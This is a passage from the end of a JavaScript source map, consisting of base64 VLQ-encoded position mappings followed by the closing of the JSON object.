YAEF,IAAI,CAAC,mBAAmB,IAAI,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,CAAC,cAAc,CAAC,CAAC,EAAE,CAAC;gBACxE,eAAe,CAAC,IAAI,CAAC,IAAA,qDAA+B,EAClD,yBAAyB,EACzB,0EAA0E,EAC1E,wGAAwG,EACxG,UAAU,EACV,+RAA+R,EAC/R,+GAA+G,EAC/G;oBACE,0BAA0B;oBAC1B,sBAAsB;oBACtB,mBAAmB;oBACnB,oBAAoB;oBACpB,mCAAmC;iBACpC,EACD,8NAA8N,EAC9N,2SAA2S,EAC3S,yMAAyM,CAC1M,CAAC,CAAC;YACL,CAAC;QACH,CAAC;IACH,CAAC,CAAC,CAAC;IAEH,OAAO,eAAe,CAAC;AACzB,CAAC"}